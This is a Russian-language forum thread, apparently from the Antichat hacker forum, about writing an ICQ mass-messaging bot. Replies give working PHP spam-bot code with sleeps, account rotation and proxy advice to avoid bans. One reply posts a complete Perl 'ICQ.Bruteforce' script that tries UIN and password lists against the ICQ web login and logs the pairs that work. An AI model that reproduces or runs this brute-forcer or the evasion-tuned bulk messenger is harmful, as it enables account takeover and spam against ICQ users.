Здравствуйте дорогие античатовцы! Требуется ваша бесценная помощь. Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков. Реально ли это? Если да, то подскажите с чего начинать. Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно. Спасибо!
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив: PHP: $base=explode("\r\n",file_get_contents('base.txt')); Потом в цикле PHP: for($i=0;$i<=count($base);$i++) { $icq->send_message($base[$i], "Message"); sleep(2); } Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл PHP: define('UIN', $uins[$i]); define('PASSWORD', $pass[$i]); опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.
ну в общем что-то в этом роде: PHP: <?php @set_time_limit(0); @ini_set("display_errors","1"); ignore_user_abort(1); include('WebIcqLite.class.php'); $ini = parse_ini_file("icq.ini"); $uin = $ini[uin]; // UIN для бота $pass = $ini[pass]; // Пароль для UIN бота $file_uin = $ini[file_uin]; // Файл, где список рассылки $message = $ini[message]; // Сообщение $pause = $ini[pause]; // пауза между сообщениями define('UIN', $uin); define('PASSWORD', $pass); $icq = new WebIcqLite(); if(!$icq->connect(UIN, PASSWORD)) { echo $icq->error; exit(); } $file = fopen($file_uin,'r'); while (!feof($file)) { $buffer = trim(fgets($file)); $icq->send_message($buffer, $message); echo "Message sent to $buffer \n"; flush(); sleep($pause); } $icq->disconnect(); exit(); ?> icq.ini: PHP: uin = 123456 ; UIN, с которого рассылаем pass = 1234 ; Пароль для UIN, с которого рассылаем file_uin = uin.txt ; Файл со списком UIN для рассылки message = test, do not reply this message, bot-test ; Собственно сама мессага для отсылки pause = 2 ; Пауза между каждым сообщением, чтобы нас не забанили (в секундах) uin.txt: PHP: 11111 22222 33333 44444 скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива: скачать
Pashkela, чем тебе так ини файлы нравяться? вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков. имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО
на перл для многопоточности! Code: #!/usr/bin/perl ############################################# ############################################# # # ICQ.Bruteforce v1.7 by UsEle$$ gr0up # # Language: Perl Code # Platform: Any with Perl started # Author: Hunt # All Rights Reserved by UsEle$$ gr0up # # 11.12.02 # ############################################# ############################################# use IO::Socket; $negative = 'incorrect'; $positive = 'change_details'; $server = 'web.icq.com'; # local files directives $uins = 'uins.txt'; $passwordlst = 'pass.txt'; $success = 'log.txt'; $debuglog = 'debug.log'; # begin of script-code print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n"; print "\tLanguage: Perl Code\n"; print "\tPlatform: Any with Perl started\n"; print "\tAuthor: Hunt\n"; print "\tAll Rights Reserved by UsEle\$\$ gr0up\n"; print "\tReady to work...\n\n"; &checkstart; # checking configuration &openuins; # opening uins & pass list sub checkstart { crash($uins) unless -f $uins; crash($passwordlst) unless -f $passwordlst; } sub openuins { open UINS, "< $uins"; while (<UINS>) { chomp $_; push @uinslst, $_; } close UINS; for ($iall = 0; $iall <= scalar @uinslst; $iall++) { $prepareuin = $uinslst[$iall]; openpass($prepareuin); } } sub openpass { my($uin) = @_; open PASS, "< $passwordlst"; # while (<PASS>) { # chomp $_; # push @ps, $_; # } @ps = <PASS> while <PASS>; close PASS; foreach $pass (@ps) { $done = crack($pass, $uin); if ($done eq 2) { print "\tFound\n"; return; } return if $done eq 3; } } sub crack { my($passwd, $uin) = @_; return 3 unless $passwd; print "\tTrying $uin and $passwd... "; $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd"; $resuilt = sock($dir); if ($resuilt == -1) { print "Can\'t connect to server... Reconnecting\n"; redo; } elsif (!$resuilt) { print "failed\n"; return 0; } elsif ($resuilt) { print "success\n"; logging($success, "$uin\:$passwd"); $i++; return 2; } } sub sock { my($socket); my($get) = @_; $socket = IO::Socket::INET->new(PeerAddr => $server, PeerPort => 80, Proto => tcp) or return -1; $get =~ s/\r|\n//g; print $socket "HEAD $get HTTP/1.0\n\n"; while (<$socket>) { $answer = $_; chomp $answer; if ($answer =~ /$positive/) { close $socket; return 1; } if ($answer =~ /$negative/) { close $socket; return 0; } } } sub logging { my($logg, $string) = @_; open LOGG, ">> $logg"; print LOGG "$string\n"; close LOGG; } sub crash { my($file) = @_; print "\tCan\'t access to $file\n"; exit; }
2 Pashkela на самом деле ini файлы в данном случае неудобны. не проще всё указать в переменных? намного быстрее будет скрипт выполнятся.А так пока он будет парсить. Здесь так и указать значения. $uin = 'uin бота'; // UIN для бота $pass = 'pass uin'; // Пароль для UIN бота $file_uin = file(uins.txt); // Файл, где список рассылки $message = 'месага'; // Сообщение $pause = '2'; // пауза между сообщениями
2 Deathdreams: Удобнее, удобнее, взял из своего бота просто, МНЕ так удобнее, чем удалять реальные UIN и ПАСС, прежде чем кому-то показывать код вообще. Думкайте, потом пишите. Скорость у них не та. ICQ-BOT на нескомпилированном php вообще бред
Кто нибудь пробовал отсылать сообщение где то исмовлов 200.? Я пробовал uin почему то сразу баниться.